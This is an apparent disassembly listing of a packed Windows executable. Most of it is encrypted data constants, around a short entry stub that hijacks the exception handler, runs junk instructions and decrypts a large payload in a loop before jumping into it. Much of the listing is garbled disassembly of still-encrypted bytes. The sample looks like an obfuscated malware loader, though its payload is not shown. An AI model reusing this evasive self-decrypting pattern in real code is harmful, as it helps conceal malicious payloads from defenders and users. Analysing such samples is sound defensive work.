0F88DA452h, 0D596F8BEh, 0E67410F3h, 12F9370Ch dd 2741EE18h, 1586715Dh, 754941DEh, 0E05B3E52h, 5843702Ah dd 0D9CADAFh, 0F7EF94E2h, 0BEB7B28Bh, 27C1D71Ah, 86D25798h dd 0EEFE6213h, 17397329h, 0CF8C5432h, 0C487E7D0h, 0E715FFF9h dd 0C48837ECh, 74B65E52h, 30CF7708h, 77625703h, 7EBB614h dd 607E23A2h, 0E757FF73h, 6272376Eh, 87030ED8h, 23A1D7EAh dd 2F6D700Ch, 9832E0ADh, 0C3D63CDEh, 44E94750h, 6F2C7EA5h dd 6A7E9AD5h, 8793750Ch, 24FAD5B9h, 30873C63h, 770493E3h dd 7CBB4F4h, 2C4D2382h, 57953F95h, 57E894AEh, 84F3277Eh dd 37C37B4Fh, 4C177658h, 0E226079Ch, 72BF518h, 0D4C11DCBh dd 4F0D7E83h, 64C5D51Fh, 0C636FCFh, 37B353BFh, 0EE1F1FC8h dd 251C1746h, 44AAEEDCh, 25ACDD32h, 0B0B7E7C9h, 0F77C130Bh dd 87D3371Ch, 2467A38Ah, 0D7EF1FB5h, 908DA1B6h, 172233C1h dd 0A5A957D2h, 0B9338260h, 63306038h, 874327B5h, 52D1D31Ah dd 44DAFDAEh, 90FD071Fh, 17B23331h, 0A7595742h, 0CD9C82D0h dd 4DE79569h, 7051E1FEh, 20CBDE61h, 0C575B52Ah, 549AF540h dd 2570D3F6h, 0FF8BD8D6h, 55B4AC3h, 0E89597CEh, 78D988E8h dd 5F042805h, 384F67CAh, 77E3A593h, 73DE4894h, 58F94760h dd 5749D125h, 87881A4Eh, 0A93279Eh, 3763BFFFh, 0ADED26F8h dd 3BF8E876h, 0F8DBA746h, 0B757F107h, 1B520820h, 187587FCh dd 973D11D9h, 6F245ADAh, 382F6729h, 77FF4F53h, 92B4E174h dd 0A7C969A0h, 50B5213h, 24E5973Eh, 87733754h, 266B8A4Ah dd 0FF109A59h, 97751746h, 873E76EBh, 22494767h, 8F4434C0h dd 265A6761h, 97F6B7A9h dd 374C14BAh, 0B20F5D48h, 1B1C71DAh, 7647BB70h, 4FD94497h dd 0B8C808B4h, 522D927Bh, 6FACC866h, 0D81E28F8h, 0EA8059D9h dd 7539414Eh, 79B927Ch, 2C13752h, 3258081Fh, 0C3711C47h dd 0CF76BA3Ch, 0AC51C7DBh, 46897F78h, 147F119Ch, 763E111h dd 2C99A8C2h, 15179D94h, 153068BEh, 4332742h, 1940DFCEh dd 9B6048C4h, 0A16E1463h, 0FD195FA0h, 0D8E1A8CDh, 2678083Fh dd 0E7612F9Dh, 364837ECh, 2731F8C2h, 0C7D29F08h, 479F1786h dd 7DB0F14h, 0B79157A2h, 85F7F730h, 623D97EAh, 6F13375Dh dd 27A1D7E9h, 4A3F5BBAh, 0AAC133A2h, 7A334AAh, 4F894E6Eh dd 4767F7A0h, 0D7D1C3B5h, 699BC91h, 3728B1B7h, 27489FE8h dd 0A55CE899h, 6C9B7F0h, 0A45C5084h, 8A2A61E7h, 0E20866ADh dd 0F7B4E6BBh, 87Ch, 1569h dup(0) assume ds:_data ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near clc cmc xchg ebx, ebx push ebp mov ebp, esp call sub_101741E call sub_10174A8 clc mov ebp, 0 ; DATA XREF: sub_101741E+6w mov edx, edx jmp loc_1017457 start endp ; =============== S U B R O U T I N E ======================================= sub_101741E proc near ; CODE XREF: start+7p ; FUNCTION CHUNK AT 010174C2 SIZE 000000B2 BYTES push dword ptr fs:0 xor dword ptr ds:loc_1017412+1, ebp cmc mov fs:0, esp xor edx, edx push 80h push 80000000h push edx push edx push edx push edx push edx push 80000000h push 80000000h push 10000h call ds:GetLastError loc_1017457: ; CODE XREF: start+19j cld sub eax, eax loc_101745A: ; CODE XREF: sub_101741E+42j dec al or al, al jz short loc_1017464 jnz short loc_101745A jmp short loc_10174CB ; --------------------------------------------------------------------------- loc_1017464: ; CODE XREF: sub_101741E+40j xchg ebx, ebx jmp short $+2 call sub_1017470 jmp short $+2 stc sub_101741E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1017470 proc near ; CODE XREF: sub_101741E+4Ap pop edx nop sub edx, 0FFFFFFA8h push edx mov ebx, 2990h mov esi, 0A5h cmc loc_1017484: ; CODE XREF: sub_1017470+20j call sub_10174B6 inc edx dec ebx stc mov edx, edx or ebx, ebx jnz short loc_1017484 pop edx clc mov esi, [ebp-8] mov fs:0, esi mov edx, edx stc mov eax, eax leave xchg ebx, ebx jmp edx sub_1017470 endp ; sp-analysis failed ; --------------------------------------------------------------------------- stc ; =============== S U B R O U T I N E ======================================= sub_10174A8 proc near ; CODE XREF: start+Cp arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_10174A8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_10174B6 proc near ; CODE XREF: sub_1017470:loc_1017484p xchg al, [edx] mov eax, eax sub ax, si nop stc xchg al, [edx] retn sub_10174B6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_101741E loc_10174C2: ; CODE XREF: sub_101741E+CBj xchg ebx, ebx cmc lea esp, [ebp+30A5A5A5h] loc_10174CB: ; CODE XREF: sub_101741E+44j ; sub_101741E+D7j test eax, 2D30A1C9h and al, 0CEh movsd movsd db 2Eh cmp eax, 0A5A5D76Ch xchg ah, es:[ebp+30A9A5A5h] add ecx, ecx test eax, 2EFED019h push ebp jo short loc_10174C2 ; CODE XREF: sub_101741E+125j movsd movsd das sub eax, 0A5A5CE28h db 2Eh pop ebp jz short near ptr loc_10174CB+3 movsd movsd and eax, 0AD198D9Eh xor ds:0A5A5CE2Ah, bh nop scasb test al, 3Dh sub esi, ecx movsd movsd xor [eax], al cmpsd xor al, al cli xor [ebp-5636EEDAh], cl outsd and eax, 9226A5A5h stosb mov ch, 0B5h movsd xor [ecx], ah leave test eax, 0DE355A32h mov ch, 0A5h pop esi movsd movsd movsd movsd cwde dec ecx lea edx, [edi-5Bh] movsd movsd xor [ebp-73h], ch push eax movsd movsd movsd shl byte ptr [esi+19h], 1 push ds loop near ptr loc_10174E9+1 cmpsb movsd movsd sbb al, 17h mov es:[ebp+26A4A495h], ah and bl, dh stc or eax, 0AD19180Eh db 26h nop movsd cmpsb movsd movsd sbb dl, [eax+esi-1E175798h] xor ch, dh sbb eax, 0F5DD260Bh jmp far ptr 1730h:78A88E1Ah ; END OF FUNCTION CHUNK FOR sub_101741E ; --------------------------------------------------------------------------- dd 0BDEF30C5h, 52F698A8h, 260B68A8h, 0F519A71Dh, 1D26AE1Ah dd 0E60814AAh, 87AA1909h, 0CD90FE8Fh, 30C9B1CEh, 0A8FEC917h dd 0A95CB498h, 0C11F30F3h, 0D930A0A8h, 3298A82Ch, 0B5B6E62Ah dd 0F5300BA5h, 0A5DA8D8Ch, 0EF90A5A5h, 0DE292A30h, 0A5CAA5B5h dd 19A9A5A5h, 0C92130C4h, 2D5A32A9h, 52A5B5DEh, 0E7714230h dd 4950A5B5h, 0E7796230h, 5A30A5B5h, 0A5B5E775h, 0D6B46802h dd 0F87E5568h, 0A5CDE85Eh, 0D57F30A5h, 2878CFB5h, 842BA665h dd 98877B2Bh, 7AFD6800h, 9F5A5A5h, 0B528C671h, 4CA3A2ADh dd 0E7D53431h, 7FFE9324h, 52055DABh, 0A0B57ECDh, 0D1670605h dd 77DAA906h, 3643807Bh, 7168B1A6h, 505A78DBh, 0CC755D63h dd 0C2159BD2h, 0CC09C62Ch, 0A16986A6h, 1AE43717h, 28B42245h dd 42639E6Eh, 0D77D6F95h, 5F75BD28h, 79990E85h, 3094F0E4h dd 0BC433C44h, 5C7AF5B5h, 6B16C054h, 53B591E5h, 6C5D47Eh dd 0F569A226h, 92D7BF3Ah, 17427F65h, 0BB55071Ah, 9CEAF52Ah dd 5B9C8A45h, 382A718Ah, 19584F85h, 0C46592A5h, 8E7A6AC5h dd 60B5297Ah, 0C1DDEC88h, 0A5F5D5B5h, 5CD3A00Bh, 1F3671F5h dd 0F6B3CDFAh, 180A8A25h, 93154BDAh, 0BA522EAEh, 6D55E703h dd 6980EDC5h, 8F549345h, 1853E77Ah, 537DF085h, 0A4A90134h dd 0AFA0CBC5h, 3DF5C379h, 9E554F48h, 577EBDA5h, 2A85053Bh dd 7887E5CDh, 83D53585h, 2493A3BAh, 5755B8C5h, 0B0B7AFE9h dd 91E24A05h, 4CE535A5h, 0F3EEC6D0h, 6735C1F1h, 26C50FB2h dd 26EADA25h, 8315BBD7h, 9D97500Ah, 0DAE02731h, 7C089D0Fh dd 0C50A589Eh, 0E5354100h, 2D71F6F0h, 0ADD3DD7Ch, 43BDC6E1h dd 0B9B56A65h, 0CE33C99Ah, 4C3988A5h, 0F6A413CAh, 0C835A384h dd 0C0D5C51Ch, 60759526h, 0B2BD0BC5h, 49B5DA65h, 5E33599Ah dd 9D35FAA5h, 0EA9741C9h, 6835ABE5h, 8AD55F2Dh, 93750725h dd 0BCCCFF6Dh, 6F1D9966h, 8B559805h, 1C131B3Ah, 5A9F8B45h dd 3B1481E6h, 0F6C5B97Bh, 4475220Dh, 94C6D4C5h, 0E01FB965h dd 885F26DEh, 226AF4AFh, 73959343h, 73B83456h, 66C5495Bh dd 0E0F98C25h, 5A15DBC7h, 50B5296Bh, 5A992BD3h, 7754C5F1h dd 3A85F577h, 99EBAE72h, 9DA8AF95h, 0E6138AB2h, 68664BD5h dd 0BE08C1F8h, 79D8E705h, 5CE55397h, 0AA197645h, 7D35D1E7h dd 56B35D0Ah, 9345DC25h, 0AA503854h, 0B3400975h, 7E45315Fh dd 4DF615A4h, 0A6E0BCAh, 0AABABCE5h, 93D59F83h, 7F04DE95h dd 520564B4h, 6A7FFEF0h, 0F8F8C715h, 0BDF6A6A4h, 9A6E27CAh dd 86C22CE5h, 7D5EF83h, 7346FC2Eh, 0C9DE1854h, 789DE975h dd 0D9553706h, 0BC144D62h, 0E4E44A45h, 1EE2FE5h, 0B5587335h dd 0E1351728h, 32BFD67Eh, 1342514Fh, 0CE45BC28h, 1CF5EE5Eh dd 2D99B845h, 9114B863h, 0A62362Bh, 54752D72h, 158055C5h dd 1E60C52Ch, 12CAA429h, 0F0F575E2h, 0F8972C6Bh, 26F78490h dd 0AA6004A7h, 985D9D8Fh, 8B15EBF7h, 0D5B5A3B1h, 6552D49h dd 4F5D5A5h, 9C46E36Fh, 0B16567CFh, 0F6B3791Ah, 0F0F8D525h dd 54418305h, 0A440A965h, 5AE0F7AFh, 6CDF850Fh, 2447916Fh dd 0B621F9E5h, 56FF2F85h, 54D45776h, 184B5884h, 67F41975h dd 1264E28Ah, 0DCF5B6ACh, 3A9590D2h, 0DCE51F5h, 4FD59F91h dd 931A6014h, 52053B72h, 0F43A0E65h, 4B55C719h, 72A97585h dd 0AFB44925h, 0F853677Ah, 73959485h, 37DD319Ah, 6A15ABC6h dd 20B5F976h, 51996CD8h, 0ECDC2A07h, 0B12BFC77h, 7B9C8ED1h dd 0F47D3285h, 5575CD2Ah, 32D7DF3Ah, 2E2AE065h, 1355A703h dd 5E1B9AA4h, 7A3F5355h, 5B14A3CFh, 16C5195Bh, 647655DEh dd 910016C5h, 0B4D9DDEEh, 0D8CA22DCh, 69F565E3h, 18FA42FBh dd 38352124h, 19749259h, 0D465DBC3h, 0C0A93B4Ah, 7493CC2Bh dd 12F4C1B7h, 0CDFEDC9h, 0C5B4496Fh, 0A825877Bh, 32E98F0Ah dd 3FFB35B8h, 0C9E86BC5h, 0A7CF9CF6h, 3E34F98Ah, 0FB076AA5h dd 0EB797F81h, 0AC88E3D8h, 0B96C06Dh, 4758D33h, 0B1CB0B19h dd 0F9E87935h, 8E33419Ah, 0C3354AA5h, 86B40679h, 0BC45909h dd 0D6C5DA7Bh, 25D2420Dh, 0FD349A84h, 0C0A56F8Bh, 52D67130h dd 5CF536CDh, 0C80AC69Ch, 5135E123h, 56B3011Ah, 0B913C625h dd 0C158E84h, 301F094Fh, 7E7F57AFh, 0C8F5A60Dh, 0C4D96A45h dd 749F71E5h, 9874D310h, 1034E57Bh, 9E82BC5h, 0A994B3CDh dd 0BFCA5444h, 6AF505BAh, 0BF459496h, 0C853CB7Ah, 46997E85h dd 3C2D95E8h, 0C2E7BFC5h, 10C3D465h, 5E553805h, 0ACF585A5h dd 0FA95D345h, 485E9DE5h, 96D56F85h, 112BEE25h, 58E79884h dd 27605975h, 1152B71h, 596357A0h, 8132B0D2h, 916791F5h dd 16B3551Ah, 88FAA625h, 0BA156B07h, 0F0B5C97Bh, 9784C2D1h dd 3AA5551Ah, 0FE3E1D6Eh, 7A9AE0CAh, 59EA6B26h, 85259D66h dd 22F3195Ah, 903AC265h, 6F5597C7h, 0C9D61701h, 6D36D56Ah dd 36844DCAh, 0DAF8242Fh, 0A02BD998h, 4EB87818h, 4080D65h dd 0BC7AE3B7h, 47C788A5h, 0F83A3F66h, 0C79AF5CEh, 79E76E85h dd 5E5A5186h, 0A5BAEFEEh, 9705A946h, 8E964AB3h, 0FBDA07E8h dd 9C45E079h, 459A74D4h, 7D56038h, 0C056D297h, 75BA69EAh dd 41A3554h, 0DD7AE5ADh, 7AB82509h, 3529546Ah, 0CB8719B9h dd 77D5B326h, 50568297h, 0E7C4F7EAh, 0BC1AE151h, 3F2736B5h dd 9C53613h, 0A29F66Dh, 6C9E99AAh, 9E75759h, 0AE75F186h dd 6EBABFEEh, 641A4E4Eh, 0EF6EE6B4h, 78E2AA19h, 7A3A686Eh dd 0EB9A33ABh, 0A8F7C851h, 644E8F86h, 0F0A9280Ch, 0BF1AFD4Eh dd 65679BB9h, 37C94A07h, 0A7950478h, 9F7BBDCAh, 2D088431h dd 0D75129Fh, 0B9DBC7EAh, 47E96651h, 3553CB2h, 0ADC2D90Ah dd 7541A069h, 0CA362ADh, 0F616F431h, 7049C26Ch, 50A550EAh dd 1A1A1D4Eh, 6D7AB4A6h, 48DA9CA5h, 0FA424099h, 0C089D2B5h dd 491C3F46h, 225A6399h, 0D8C404F8h, 841A6865h, 2F675CDBh dd 0A7E3F40Eh, 7795D47Dh, 316B6DCAh, 0F9022431h, 0B55BDB6Eh dd 5EB670F7h, 0FF23404Eh, 0AD84B305h, 7ADE8109h, 21276477h dd 0D782D1A6h, 69FED135h, 4E5B2C9Ch, 0E2BA1FEEh, 8A1AB934h dd 618180CBh, 0FCC506F2h, 0D93CC56Eh, 4B8578E5h, 23E75F33h dd 0D1480288h, 67A77BC5h, 2D085648h, 0C59BB5F8h, 3CC9A817h dd 2B447195h, 0A58824CAh, 9EFAB977h, 4F284D99h, 16BE55F9h dd 0C409AA4Ah, 7177A0B7h, 0EBC82A19h, 0C63A2245h, 6BA1BAABh dd 39024859h, 0FF61F025h, 8315BBEAh, 63096C5Eh, 0E97EFBB2h dd 0D6E4A90Ah, 363A976Eh, 0B89A26CEh, 0A502F95Ah, 6F5E8395h dd 60BB3EFCh, 0F01AED4Eh, 9267C0DBh, 4BE1461Ah, 0FB440771h dd 8F87B0E5h, 5D1B7439h, 0F6754291h, 0ACB9ACF9h, 90098C5Ah dd 56B30B7h, 0D7DCFA11h, 7344CF78h, 623547CAh, 0C9E7FE39h dd 6E5AC186h, 82BA7FEEh, 0FEF81533h, 0C169D8AAh, 49E477F5h dd 0BA28426Ah, 0B678EDB3h, 79E9902Ah, 41644F75h, 0ADA8FAEAh dd 9403195Dh, 2D7A55C8h, 0F7A81A19h, 8F3ECF68h, 4C8351D3h dd 0E5FA2D48h, 0C12AD299h, 74C589EAh, 1D1A2C54h, 0D2A3D7B8h dd 96C586F2h, 5F2C506Eh, 0C59AF4CBh, 0A404A839h, 35499B25h dd 10C308F5h, 201ADD4Eh, 5EA47BD3h, 0AA5430Ah, 0BB3A0274h dd 7DA47DD8h, 0F4D5592Ah, 0CF450C99h, 0A3BACAF3h, 2A245259h dd 0E690105h, 87C9B417h, 614B7F68h, 0E78A2DD7h, 0C1FAAC31h dd 644E8F94h, 1DC63713h, 0B70EEB4Ah, 808489B3h, 43C95612h dd 0CF491574h, 38A3AED0h dd 380C7353h, 1E5A218Eh, 0ADA9C9EEh, 53026D46h, 56742B2h dd 0B0C9B7A5h, 7B3E859Ah, 0F59A5DD4h, 0E4FEFD39h, 8364D18Ch dd 63BE5AF3h, 0FA1E0B59h, 7F8C07ACh, 5BC988E6h, 0FA2A2F77h dd 0C1A1D4E5h, 53E8A438h, 205A2888h, 0D8C4FAC5h, 84188653h dd 327A5A05h, 0D8C8F40Dh, 9943BC67h, 36357ED2h, 0D6EB0E2Ah dd 0C063E298h, 53C47AC5h, 0C0093650h, 0B169D1CEh, 68DAA317h dd 1B445788h, 0E29609CAh, 46FABB29h, 2F494B6Eh, 0EEBA1DF7h dd 6D09A62Ch, 618381B4h, 0E8DA1908h, 0A636DF98h, 527E41CAh dd 24E73439h, 0D444F18Ah, 52D68DEAh, 43095F2Eh, 0E27AF1B7h dd 9EDAA5F4h, 4941719Ah, 0ECA3EAE5h, 8903CD2Ah, 535A9F99h dd 16BE55E9h, 0D4F6E94Ah, 958578DBh, 0E82377D8h, 0AC950791h dd 7478C0CAh, 5FFA5E34h, 1275068Ah, 0A2E4A6EAh, 63007F4Ah dd 0D6DECBEh, 0B5DAA7A5h, 5C3A9096h, 24965FDEh, 0BE1A043Ah dd 6F272D66h, 2EBA2AECh, 0E321EA3Bh, 7D6DDCAAh, 0B6083BA5h dd 84BB16Fh, 279F2D70h, 6EE7FA57h, 0F4EAAC7Bh, 8B15FB07h dd 92EB67A9h, 1EF459D5h, 8E6A74BDh, 0CB951343h, 0D6738129h dd 0AD62BF8Dh, 83BDE820h, 82155BEDh, 0B4012ECDh, 0B855DD08h dd 39A596AAh, 7E20906Fh, 0D8E95CB5h, 85158559h, 0FD43077h dd 0F205BD6Bh, 9C155E8h, 9E33D19Ah, 0E43938A5h, 160A7808h dd 85356122h, 18D535CEh, 2751D8Dh, 9159C2C5h, 0F53336h dd 7F4DFDD6h, 72A92D65h, 5B44353h, 0E825C747h, 47B55308h dd 75B5E2F7h, 9C2C695Eh, 5D771C3Dh, 0C6F436DCh, 8D54B466h dd 0AFA5F54h, 806531E5h, 0A6D54DB1h, 0F45FA1B0h, 82BF5F50h dd 0A0B5694Dh, 10571D05h, 10DD050Fh, 64955377h, 186852E5h dd 0F48B84C4h, 8B343D35h, 0D8FB1884h, 493AD975h, 0C9E098B9h dd 9CE56A2Dh, 7522B7E8h, 382521E5h, 570C1088h, 4F007F24h dd 22050D87h, 886FD0F2h, 0D7FD9705h, 915464A4h, 4A73F9CAh dd 0C9C4F6E5h, 5ED5CF6Eh, 5D42C3Fh, 785BE850h, 5942B975h dd 2E55F0F3h, 0CD545E8Dh, 941A1A04h, 9B350123h, 0F1B593C5h dd 0B49E78B4h, 482983C5h, 0D34020E4h, 9E459157h, 0F1C9852Ah dd 615D86D2h, 0E11D61E5h, 5F749AC3h, 0CFB8ACECh, 72154B6Dh dd 9B364E65h, 0E45FE21h, 0D782FED8h, 0AA8565ACh, 0A7661DB6h dd 306D055h, 0A4933FBAh, 0BE1936C5h, 5ADB96E4h, 0C0925715h dd 74AAA5A9h, 1A95F345h, 2D22C2C2h, 20D59FA0h, 0EEEA5A24h dd 0A2153BE0h, 84D5BE37h, 6F55AD05h, 0F5DB2169h, 9A9087CAh dd 995566E5h, 36D0A90Ah, 8A753125h, 1C5850C5h, 79DC17Fh dd 0D9553705h, 9E9F26E7h, 3BA5000Eh, 41758ECEh, 1ADA6F95h dd 5B37B52Dh, 42F4CB5Ah, 0BD97E865h, 0CE558FDAh, 9BB2F5A5h dd 7A90E0F2h, 0FCB20CE5h, 87D5CF84h, 547D51A1h, 0A26EF7D4h dd 4C36C965h, 3E55150Dh, 8BF94DF9h, 45B4B345h, 282507DFh dd 0FA62FB10h, 0C476A149h, 12BFBBC5h, 60B535CDh, 875905h dd 67540CA5h, 4A85E57Bh, 9C2AA18h, 0E6D5C089h, 325FDE76h dd 5A168116h, 10B5A965h, 0E0CA52D7h, 0F6F555E3h, 0F329BDCAh dd 0C9D0DB5h, 8BD52F86h, 84991124h, 5715CBC7h, 30D4FBFAh dd 0CEDA4005h, 0C858AB19h, 94C97A95h, 2966A3E5h, 404AAA5Bh dd 0DB75FD63h, 12AAFB4Ah, 0D22AC03Bh, 7955C703h, 95A769FCh dd 1D4D2F6Fh, 0E836BD7Ch, 0F6A86685h, 0D12E4D8Fh, 22C5FB30h dd 0D0E5A935h, 28CA02D7h, 3BF585E3h, 0A97DB09h, 3C8918E5h dd 0B84ACA8Dh, 0C175DD64h, 47078884h, 0CEF26975h, 0ACD5B709h dd 66F6BAAFh, 6519C8D0h, 0DF18A1F5h, 6D58412h, 13783D35h dd 2E47BE1Bh, 0E93DE0A5h, 4B552706h, 9CF66529h, 24734345h dd 0B87B21DAh, 0AE45F83h, 0D475AE26h, 0ADF50D45h, 9A3687D6h dd 3A360D5h, 4D80A71Ah, 9F966D0Bh, 0E66B710h, 0A70B2085h dd 457F9224h, 7BCE6BD5h, 893AC0A6h, 0A9550705h, 6CF3D02Ah dd 0F2953945h, 1835F1F1h, 0F9746E55h, 0B4657C2Fh, 215DFC2h dd 0B93A3065h, 0B5557705h, 0ECF5C556h, 6C45F5C6h, 0B448FAEh dd 0D6D5AFEAh, 787D43A8h, 0EE2450C1h, 0C0B599FEh, 3F6A0701h dd 5D0F5151h, 0AA95F7CAh, 184226E5h, 41B5FF65h, 405A5446h dd 0A6810EFAh, 0AF11B685h, 5635F2C3h, 0FBCA1919h, 0AA98D5C6h dd 5B64581Fh, 931CD12Dh, 8A86DC25h, 521546D5h, 0A9E7DBDCh dd 0FE332D9Ah, 6C35E8A5h, 0B2459395h, 0D835B1EEh, 94ECDA49h dd 50566C91h, 0AC8AAEC5h, 93B5F9A4h, 2F2B8B45h, 0E87A0E6Eh dd 0A995E344h, 483721CDh, 4C064005h, 0C6EA8C75h, 0A5151BC4h dd 70B0D0FAh, 8528F705h, 0CAA5A6F9h, 0F5B47496h, 0B82577B7h dd 43B9E30Ch, 649353BAh, 2258D3C5h, 0AAF8F2h, 0FFEE1805h dd 8BDF660Fh, 0EBB4E204h, 0AB2A48E9h, 870F83C5h, 51A51800h dd 0F6C5EAD0h, 4B78C6F2h, 58E08715h, 0FCF5D6B1h, 499D99D0h dd 0B03871E5h, 6FF57670h, 931B40F0h, 0E4DC58F9h, 4DE394DAh dd 9788024Ch, 0B8809C71h, 0FA3F5F95h, 419F13B6h, 347BC4C4h dd 17007D35h, 0F205BD1Fh, 55C155E8h, 93FEE654h, 0DCDFBC6Ch dd 6F1E03EDh, 416814E8h, 50C534Bh, 0C731B277h, 77A79AEEh dd 241B3058h, 0DC7E0AE1h, 79CC9409h, 2C2A32A1h, 0DCA31ED7h dd 87E7B45Bh, 28637C8Eh, 0E6A5230Ah, 0AE1ACB54h, 60769B05h dd 4C93A0Ch, 0A29F274h, 883531E7h, 0A5D57F44h, 0DC64FF95h dd 9903C0EEh, 2F1C4C57h, 0E56D18B1h, 2CE1B5D3h, 43588C93h dd 0ED9C3505h, 0ADE7E02Bh, 912A379Fh, 1DF5590Ah, 0BAFE202Fh dd 656B49E5h, 0A2CA4917h, 0EA959B9Ah, 0B77211E5h, 96D3BCB2h dd 0FDFA7325h, 2215EBDAh, 9A13D6E4h, 96169715h, 0B211D9C4h dd 28EAAA63h, 0FF357123h, 0C9C3BBF1h, 46F6C34Fh, 73AA8084h dd 0A9CF4EF2h, 0A4E00715h, 569A8CA7h, 3A1A18AAh, 0A135011Dh dd 76ADF10Ah, 0EEFEB725h, 48E35F7Fh, 0EEB6DAE0h, 0B685DE54h dd 5D5480C6h, 4279B7C8h, 0B0796EE9h, 0D6D5AF8Dh, 0F638C378h dd 72E18F09h, 0CA3F06E4h, 4E60E715h, 82684219h, 35B43247h dd 0F825B717h, 0EE484FC4h, 0B5D4DBBCh, 0E215C26Dh, 6DFBDC65h dd 9C88A2E4h, 0CCC1F1E9h, 0F01F8004h, 641D41F5h, 9E74BAC3h dd 45D47327h, 6453B084h, 0D7C87975h, 0B0FD4C92h, 6BA615B5h dd 59459496h, 4B1402B6h, 26C5090Bh, 7475480Dh, 0FDC848C5h dd 0EAC71C37h, 5EA183C9h, 0DE7F1AA4h, 4BDD355h, 793521E5h dd 3DE75F38h, 235B1193h, 0BD34DBC5h, 80A52F97h, 0BC2F2C8Eh dd 0EB04F5B5h, 8132B8D2h, 3BBE91F5h, 6C5AA45h, 0CAEA1C76h dd 13156BC3h, 0F0B5C54Dh, 0B8AAA405h, 63F575BEh, 0AF7B58D2h dd 0E61D01F5h, 5C74FABAh, 0A66222ECh, 0E215EBD5h, 4A24D6E8h dd 29558715h, 0ECF3C23Ah, 7449D345h, 46354BE6h, 0E6D5BD2Dh dd 4AEA3CA5h, 0FD154BC4h, 0AE0A03A5h, 0C758492h, 52A745B5h dd 1DEA084Bh, 0DC35D103h, 85057F5Bh, 76EACC77h, 0BA15DBC4h dd 49DB86E4h, 111B6715h, 0DCE5F6ECh, 2AA15B45h, 256C51E5h dd 0B7205E54h, 0C8390B57h, 0CD343B11h, 0B0A57FEFh, 0FE5CFF98h dd 0B78225A5h, 9A857BE6h, 5AD236BEh, 1ED51F83h, 0C5D4F262h dd 0D215AF6Dh, 0DAFEA865h, 429A91CEh, 0C159D3h, 940A6645h dd 0DB354123h, 0D9597AC5h, 8175CD27h, 421518EDh, 994AEE65h dd 555A71Eh, 5DE78232h, 78BD5355h, 4514A85Ah, 6B40102h dd 0E0843D25h, 0B21589D5h, 0FF257DE6h, 66892705h, 9CF576A6h dd 20AB3004h, 0FCB611F5h dd 86D56015h, 0EAA92875h, 8D34A9C5h, 70A5407Bh, 118ED78Ah dd 197DCDB2h, 0C5B43345h, 0A825878Fh, 91586DB0h, 44650B94h dd 5FE58C5h, 0D0B30CEAh, 0C1F4D705h, 7CE534A7h, 46A4E3CAh dd 1835F26Eh, 0EFE17F10h, 2585BC25h, 0F213FE4Ah, 913AE765h dd 9D5567C6h, 0EBDFC50Fh, 0A5B4116Fh, 882528F3h, 0E3749708h dd 2476DDA9h, 0FDA2DAC5h, 0C0A58F50h, 0DF87F7AFh, 2E53AAA4h dd 6A1A8355h, 0F7754EF4h, 0C1621F85h, 94657BB1h, 0A63DC336h dd 889440DFh, 7E555799h, 535BD003h, 2F490F39h, 7853C37Ah dd 30320C85h, 9375CD43h, 0FC1213C6h, 1342D0E4h, 0EE45E18Ch dd 28DD150Fh, 5C956345h, 0DEAA98B8h, 0B1D5EF84h, 0E7693169h dd 0B2D7C35Ah, 82C4B965h, 4299BE0Fh, 0B455C6B9h, 0EC960947h dd 8E2723AFh, 7A196688h, 0D5D63D2Dh, 811D2B86h, 70D99570h dd 4985D544h, 0C14BD62h, 6A911B45h, 0E25A91E5h, 0F4B5E77Bh dd 3A954B45h, 78FA98AAh, 0D8DA019Dh, 3868FCE5h, 4EBE34EFh dd 6F4CB325h, 38530B7Ah, 2299D085h, 1A759D25h, 0E3CCBBC5h dd 29BFA6E4h, 29E08715h, 0FCE5CA35h, 63B8236Fh, 4742AAD0h dd 0E6D5C4ADh, 909AF325h, 0C7CC5BCFh, 0E0D3E3FAh, 1A197605h dd 5400F0F5h, 0BA95934Ch, 22D52672h, 870C2F95h, 657FF224h dd 329ACBD5h, 0D342C563h, 8E45A2CDh, 0C7655A28h, 0AD950355h dd 68769072h, 0F0A37685h, 0E12BBE25h, 271BA884h, 98388975h dd 6D44F105h, 0B7822330h, 9A85968Dh, 9207B695h, 1EF51F3Ah dd 0C5D4E74Fh, 730C19E6h, 1F0C7E6Eh, 0ABE0ED30h, 4F82E3D0h dd 0A85A68Dh, 0E9BCCD58h, 0A30808B0h, 49377BAh, 8F729BC5h dd 8FB5797Ah, 0AE7DDDB9h, 1DF5051Ah, 6A73A9DAh, 9D221E5h dd 16D5FF46h, 0DFBC2E99h, 0B2059DF4h, 0B5D965h, 8D9CAC4Bh dd 0C3F575B5h, 5FB4854Dh, 2BB58E2Ch, 86D55F95h, 92322D25h dd 1C22FBC9h, 49232934h, 1B3541B4h, 0B3E1050Bh, 3A76906Bh dd 0F89A1B4h, 0CAB5F432h, 9F58FD94h, 44B748F1h, 0BF1A0546h dd 4E350D12h, 3D1535C5h, 0ED2A3225h, 0F887CED2h, 4AE7A02Ch dd 0A7962B8Ah, 0D6BA09CFh, 6C098F4Ah, 3A6846AAh, 0CBDDA51Eh dd 5A2EC375h, 689977C6h, 0F9E5172Ah, 0B656D188h, 63F52FF9h dd 24233A59h, 0F87CD1AEh, 620262C5h, 0B29649Ch, 0D9A3EACDh dd 7201C065h, 3B565145h, 0FEC31CA5h, 911EAF85h, 9E416BADh dd 0ACC7140Bh, 0B53EE16Bh, 88889DD3h, 15EC6F4Eh, 0F78FF18Eh dd 6DBD76CFh, 3FD55657h, 0D535ECB7h, 5C21AA14h, 253E716Bh dd 0B1880DD3h, 9104BE65h, 2B952E8Ah, 13BE7BF9h, 0AB1ED585h dd 953558AAh, 0CCC86C19h, 0D529F471h, 4D8F6D06h, 0F836078Ah dd 6AAFE071h, 0D009F42Ah, 33682A75h, 0FD2D0D35h, 0E5A7070Bh dd 0FA2C8A85h, 0F8369DF1h, 6CC9CE02h, 319AC335h, 0FBCE26F3h dd 891EA09Fh, 0C74811D8h, 0B5854092h, 87410525h, 28E6843Ch dd 0ED4292F8h, 9487A387h, 2B1AB4ADh, 0FCBF6A57h, 65E08CC6h dd 0FCF5D550h, 4A952345h, 983571E5h, 0E6D5BF85h, 34750D25h dd 82155BC5h, 0D0B5A965h, 1E55F705h, 6CF545A5h, 0BA959345h dd 